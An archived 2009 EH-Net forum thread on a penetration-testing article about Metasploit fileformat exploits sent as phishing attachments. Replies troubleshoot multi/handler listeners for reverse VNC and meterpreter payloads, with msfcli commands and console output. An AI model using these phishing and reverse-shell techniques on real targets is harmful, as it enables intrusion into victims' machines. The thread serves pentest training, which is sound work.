Home
Calendar
Certifications
Columns
Features
Forum
Resources
Vitals
Latest Additions
April 2013 Free Giveaway Sponsor - eLearnSecurity
Human Intelligence to Navigate the Security Data Deluge
February 2013 Free Giveaway Winner of SANS CyberCon Training
Interview: Bugcrowd Founders on Herding Ninjas for Crowdsourced Bug Bounties
Network Forensics: The Tree in the Forest
March 2013 Free Giveaway Sponsor - Mile2
Book Review: Violent Python
February 2013 Free Giveaway Sponsor - SANS
Holiday 2012 Free Giveaway Winner of Metasploit Pro by Rapid7
Course Review: SANS FOR408 Computer Forensic Investigations – Windows In-Depth
The Security Consulting Sugar High
Tutorial: Fun with SMB on the Command Line
Interview: Ilia Kolochenko, CEO of High-Tech Bridge
October 2012 Free Giveaway Winner of LearningGate Training
The Broken: Assessing Corporate Security in 2012 to Make a Better 2013
EH-Net Login
Welcome Guest.
Username:
Password:
Remember me
Lost Password?
No account yet?
Register
Who's Online
We have 29 guests and 1 member online
You are here:
Home
Columns
Gates
[Article]-Video: Client-Sides, Social Engineering and Metasploit, Oh My!
EH-Net
May 19, 2013, 02:38:50 PM
Welcome,
Guest
. Please
login
or
register
.
Did you miss your
activation email?
1 Hour
1 Day
1 Week
1 Month
Forever
Login with username, password and session length
News
: Go back to The Ethical Hacker Network Online Magazine
Home Page
Home
Help
Calendar
Login
Register
EH-Net
>
Columns
>
Gates
(Moderator:
don
) >
[Article]-Video: Client-Sides, Social Engineering and Metasploit, Oh My!
Pages: [
1
]
2
Go Down
« previous
next »
Print
Author
Topic: [Article]-Video: Client-Sides, Social Engineering and Metasploit, Oh My! (Read 25555 times)
0 Members and 1 Guest are viewing this topic.
don
Editor-In-Chief
Administrator
Hero Member
Offline
Posts: 4165
Editor-In-Chief
[Article]-Video: Client-Sides, Social Engineering and Metasploit, Oh My!
«
on:
February 02, 2009, 05:30:39 PM »
More hacking goodness from Mr. Gates!!
Permanent link:
[Article]-Video: Client-Side, Social Engineering and Metasploit, Oh My!
Quote
By Chris Gates, CISSP, GCIH, C|EH, CPTS
It should be obvious to everyone that the bad guys are moving away from network level attacks and moving toward social engineering coupled with
client-side attacks
. In fact, this is the focus of the next
ChicagoCon
in May, where I will be presenting this exact topic live. Penetration testers need to be able to help an organization detect and respond to client-side attacks, and what better way to do that than to do a little client side exploitation during your pentests.
A new mixin has been added to the Metasploit Framework that allows the penetration tester to create and output the files that contain the exploit code instead of just serving up the exploit on a web page. This increases the attack surface by allowing the pentester to perform their
Open Source Intelligence
(OSINT)
gathering to collect email addresses for the target domain. We then take those addresses and actually send the exploit to the victim as an attachment in the email versus a link to a website. Your mileage may very on the effectiveness of that technique, but in my experience people seem to be more apt to open attachments of "normal" or "non-malicious" type like .pdf and .html rather than clicking on links. Some example formats that can be used with the fileformat mixin are .pdf, .html, .cab, .m3u, .xpm, as well as others.
**This isn't to say that some fileformat exploits
can't
be delivered via the web. You can easily link to
www.evil.com/evil.pdf
, but some lend themselves to easier exploitation if you can get the file into a user's inbox. So let's take a quick look at how this can be accomplished.
Don
«
Last Edit: February 04, 2009, 11:38:13 AM by don
»
Logged
CISSP, MCSE, CSTA, Security+ SME
apollo
Full Member
Offline
Posts: 146
Re: [Article]-Video: Client-Side, Social Engineering and Metasploit, Oh My!
«
Reply #1 on:
February 02, 2009, 08:36:40 PM »
Great examples and video
I was playing with this stuff the other day with the office macros in Metasploit. It seemed to be quite effective. It's amazing what folks will click on with a good backstory.
Logged
CISSP, CSSLP, MCSE+Security, MCTS, CCSP, GPEN, GWAPT, GCWN, NOP, OSCP, Security+
Andrew Waite
Hero Member
Offline
Posts: 928
Re: [Article]-Video: Client-Side, Social Engineering and Metasploit, Oh My!
«
Reply #2 on:
February 03, 2009, 08:55:44 AM »
Nice work Chris, thanks
(looks like the vimeo link has gone walkies though...)
Logged
--
http://www.infosanity.co.uk
--
http://blog.infosanity.co.uk
xXxKrisxXx
Hero Member
Offline
Posts: 512
Re: [Article]-Video: Client-Side, Social Engineering and Metasploit, Oh My!
«
Reply #3 on:
February 03, 2009, 02:23:29 PM »
Like your other videos as well as this one, I've got to say nice work. It's a good thing Metasploit has broadened its horizons and incorporated the use of fileformat exploits. I'd sure like your trunk by the way, 327 Exploits I only have 288 (I think...)
Logged
eCPPT, GCIH, OSCP, OSWP
LSOChris
Guest
Re: [Article]-Video: Client-Side, Social Engineering and Metasploit, Oh My!
«
Reply #4 on:
February 03, 2009, 02:55:09 PM »
thanks guys!
I'll be releasing a few more client-side/fileformat videos in March as part of my client-side talk at SOURCE Boston, I'll make sure i post on EH.net when i do.
Logged
mtgarden
Newbie
Offline
Posts: 14
Question: I would like to use this in a demonstration next week
«
Reply #5 on:
February 11, 2009, 11:42:21 AM »
Is it possible for metasploit to tie this to a current PDF? In other words, can I use a pdf I have and add this exploit onto it? At least, where would I start looking for that information?
Logged
xXxKrisxXx
Hero Member
Offline
Posts: 512
Re: [Article]-Video: Client-Sides, Social Engineering and Metasploit, Oh My!
«
Reply #6 on:
February 11, 2009, 11:59:41 AM »
You mean like binding the PDF with an existing PDF? I'm thinking that you can, but what would be the point, once the malicious pdf opens, doesn't it just freeze up anyway?
Logged
eCPPT, GCIH, OSCP, OSWP
mtgarden
Newbie
Offline
Posts: 14
Re: [Article]-Video: Client-Sides, Social Engineering and Metasploit, Oh My!
«
Reply #7 on:
February 11, 2009, 12:00:47 PM »
Not sure. Was in the process of setting up a test environment to explore this threat vector.
Logged
LSOChris
Guest
Re: Question: I would like to use this in a demonstration next week
«
Reply #8 on:
February 11, 2009, 02:10:46 PM »
Quote from: mtgarden on February 11, 2009, 11:42:21 AM
Is it possible for metasploit to tie this to a current PDF? In other words, can I use a pdf I have and add this exploit onto it? At least, where would I start looking for that information?
not currently that i am aware of
«
Last Edit: February 12, 2009, 09:43:05 AM by ChrisG
»
Logged
mtgarden
Newbie
Offline
Posts: 14
Re: [Article]-Video: Client-Sides, Social Engineering and Metasploit, Oh My!
«
Reply #9 on:
February 11, 2009, 02:47:02 PM »
Thanks. I was testing this for a presentation but Symantec actually catches it. So, am trying the vbscript attack.
Sadly, there is a quirk with either Metasploit or BT3. Not sure which yet. When I run the /msfcli multi/handler PAYLOAD=<payload> LHOST=<IP> etc..., it runs the exploit and binds to IP=0.0.0.0 which is less than helpful.
Heh, I guess there was no reason to assume this would be that easy.
Logged
dean
Guest
Re: [Article]-Video: Client-Sides, Social Engineering and Metasploit, Oh My!
«
Reply #10 on:
February 11, 2009, 03:08:45 PM »
make sure that the IP you're listening on is the one you add as LHOST and is actually active.
for example:
msf exploit(handler) > set LHOST 192.168.1.1
LHOST => 192.168.1.1
msf exploit(handler) > exploit
Handler binding to LHOST 192.168.1.1
[-] Bind failed on 192.168.1.1
Handler binding to LHOST 0.0.0.0
Started reverse handler
Starting the payload handler...
^C[-] Exploit failed:
Exploit completed, but no session was created.
msf exploit(handler) > set LHOST 10.10.10.15
LHOST => 10.10.10.15
msf exploit(handler) > exploit
Handler binding to LHOST 10.10.10.15
Started reverse handler
Starting the payload handler...
tested with 3.3-dev
Logged
mtgarden
Newbie
Offline
Posts: 14
Re: [Article]-Video: Client-Sides, Social Engineering and Metasploit, Oh My!
«
Reply #11 on:
February 11, 2009, 03:24:47 PM »
Well, my VM has an IP of 192.168.1.1. So I added LHOST=192.168.1.1 to the exploit.
Then when running ./msfcli multi/handler PAYLOAD=windows/vncinject/reverse_tcp LHOST=192.168.1.1 DisableCourtesyShell=True E
It doesn't give me a "bind failed" error, it just binds to 0.0.0.0.
This happens in a BT3 VM and on a BT3 laptop install. Would I look for the error/problem in BT3 or in Metasploit 3.2?
Logged
xXxKrisxXx
Hero Member
Offline
Posts: 512
Re: [Article]-Video: Client-Sides, Social Engineering and Metasploit, Oh My!
«
Reply #12 on:
February 11, 2009, 03:55:57 PM »
Mine also binds to 0.0.0.0 as well but when testing this out. I created a malicious .exe using msfpayload. This was going to be a reverse meterpreter .exe that would shovel back a shell to a port on my box. So I set my LHOST similar to you when using exploit/multi/multi_handler and keyed exploit on my msfconsole, it said 0.0.0.0 however once i executed my .exe i recieved my reverse shell.
Logged
eCPPT, GCIH, OSCP, OSWP
mtgarden
Newbie
Offline
Posts: 14
Re: [Article]-Video: Client-Sides, Social Engineering and Metasploit, Oh My!
«
Reply #13 on:
February 12, 2009, 06:56:36 AM »
OK. Then the problem lies in my malicious VB script. Will have to figure out how to fix that one.
Thanks.
Logged
don
Editor-In-Chief
Administrator
Hero Member
Offline
Posts: 4165
Editor-In-Chief
Re: [Article]-Video: Client-Sides, Social Engineering and Metasploit, Oh My!
«
Reply #14 on:
February 17, 2009, 12:28:37 PM »
Submitted to digg. Click the link below and vote:
http://digg.com/security/Video_Client_Sides_Social_Engineering_Metasploit_Oh_My
Please help spread the word,
Don
Logged
CISSP, MCSE, CSTA, Security+ SME
Pages: [
1
]
2
Go Up
Print
« previous
next »
Jump to:
Please select a destination:
-----------------------------
EH-Net
-----------------------------
=> Calendar Of Events
===> ChicagoCon 2007
===> ChicagoCon 2008s
===> ChicagoCon 2008f
===> ChicagoCon 2009s
=> Ethical Hacktivism
=> News Items and General Discussion About EH-Net
===> Greetings
=> Special Events
-----------------------------
Ethical Hacking Discussions and Related Certifications
-----------------------------
=> General Certification
===> Networking
===> OS
===> Security
=> Compliance, Regulations & Standards
=> Control Systems
=> Cyber Warfare
=> Forensics
===> CCE / MCCE - (Master) Certified Computer Examiner
===> CHFI - Computer Hacking Forensic Investigator
===> EnCE - EnCase® Certified Examiner
===> GCFA - GIAC Certified Forensics Analyst
=> Hardware
=> Incident Response
===> CSIH - Computer Security Incident Handler
===> GCIH - GIAC Certified Incident Handler
=> Malware
===> Advisories
=> Mobile
=> Network Pen Testing
===> CEH - Certified Ethical Hacker
===> CPTC - Certified Penetration Testing Consultant
===> CPTE - Certified Penetration Testing Engineer
===> CSTA - Certified Security Testing Associate
===> eCPPT - eLearnSecurity Certified Professional Penetration Tester
===> ECSA - EC-Council Certified Security Analyst
===> GPEN - GIAC Certified Penetration Tester
===> OSCP - Offensive Security Certified Professional
=> Physical Security
=> Programming
=> Social Engineering
=> Web Applications
=> Wireless
===> CWNP Certs
===> GAWN - GIAC Assessing Wireless Networks
===> OSWP - Offensive Security Wireless Professional
=> Other
-----------------------------
Columns
-----------------------------
=> Editor-In-Chief
=> Andress
=> Gates
=> Haddix
=> Hadnagy
=> Heffner
=> Hoffman
=> Linn
=> RichM
=> Murray
=> J. Peltier
=> Weidman
=> Wilson
-----------------------------
Features
-----------------------------
=> /root
=> Book Reviews
=> Opinions
=> Skillz
===> Examples
===> May 06 - Star Hacks, Episode V: The Empire Hacks Back
===> July 06 - Hack Bill!
===> Sept 06 - Netcat in the Hat
===> Nov 06 - Hitch-Hackers Guide to the Galaxy
===> Dec 06 - A Christmas (Hacking) Story
===> Feb 07 - Charlottes Web Site
===> April 07 - Microsoft Office Space
===> June 07 - Serenity Hack
===> Oct 07 - Worst. Ethical. Hacker. Challenge. Ever.
===> Dec 07 - Frosty the Snow Crash
===> March 2008 - It Happened One Friday
===> Oct 2008 - Scooby Doo and the Crypto Caper
===> Dec 08 - Santa Claus Is Hacking to Town
===> Feb 2009 - Brady Bunch Boondoggle
===> July 2009 - Prison Break
===> October 2009 - SSHliders
===> December 2009 - Miracle on Thirty-Hack Street
===> December 2010 - The Nightmare Before Charlie Browns Christmas
-----------------------------
Resources
-----------------------------
=> Career Central
===> Looking For Work
===> Looking To Hire
=> Links to cool sites.
=> Mass Media
=> News from the Outside World
=> Tools
=> Tutorials
===> Tutorial Requests
Loading...
Exclusive Deal
SANSFIRE 2013
June 15 - 22
5% Off
w/ Code
:
EHN_5
SANS Deals 4 EH-Netters
5% OFF
Any
SANS Course
in Any Format!
Coupon Code:
EHN_5
Including
SANS Rocky Mountain 2013
&
SANS Boston 2013
Polls
Compared to this year, 2013 will be:
Great!
Better.
About the same.
Little worse.
FUBAR!
Recent Forum Topics
Incident Response
: LinkedIn Forensics
(0) by
AFENTIS_Forensics
General Certification
: Red Team/Blue Team
(1) by
ajohnson
OSCP - Offensive Security Certified Professional
: Class Scheduled 6/8 - Linux n00b
(6) by
Grendel
Career Central
: Starter cert?
(3) by
Grendel
Network Pen Testing
: Beginner Ethical Hacker
(1) by
m0wgli
General Certification
: CPT Practical Submission
(0) by
z28power4u
Web Applications
: Nessus and Nikto
(4) by
Seen
Tutorials
: Need guidance
(7) by
impelse
Malware
: EICAR?
(2) by
SephStorm
Network Pen Testing
: Cracking salted MD5 hash
(4) by
n37sh@rk
CEH - Certified Ethical Hacker
: Passed my C|EH
(3) by
n37sh@rk
Mass Media
: EC-council hacked, irony at his best?
(0) by
j0rDy
Web Applications
: SQL Injection into an INSERT statement.
(6) by
eyenit0
Network Pen Testing
: Solution for sipXtapi INVITE Message CSeq Field Header Remote Overflow
(1) by
m0wgli
Web Applications
: dns
(2) by
H1t M0nk3y
Other
: BSides Boston
(0) by
3xban
Career Central
: InfoSec in Central, FL
(2) by
tturner
Web Applications
: Web vulnerability scanner
(4) by
H1t M0nk3y
EH-Net News Feeds
Latest Additions
Privacy Notice
for TDCC & All Properties
Free Business and Tech Magazines and eBooks
© 2013 The Ethical Hacker Network
Joomla!
is Free Software released under the GNU/GPL License.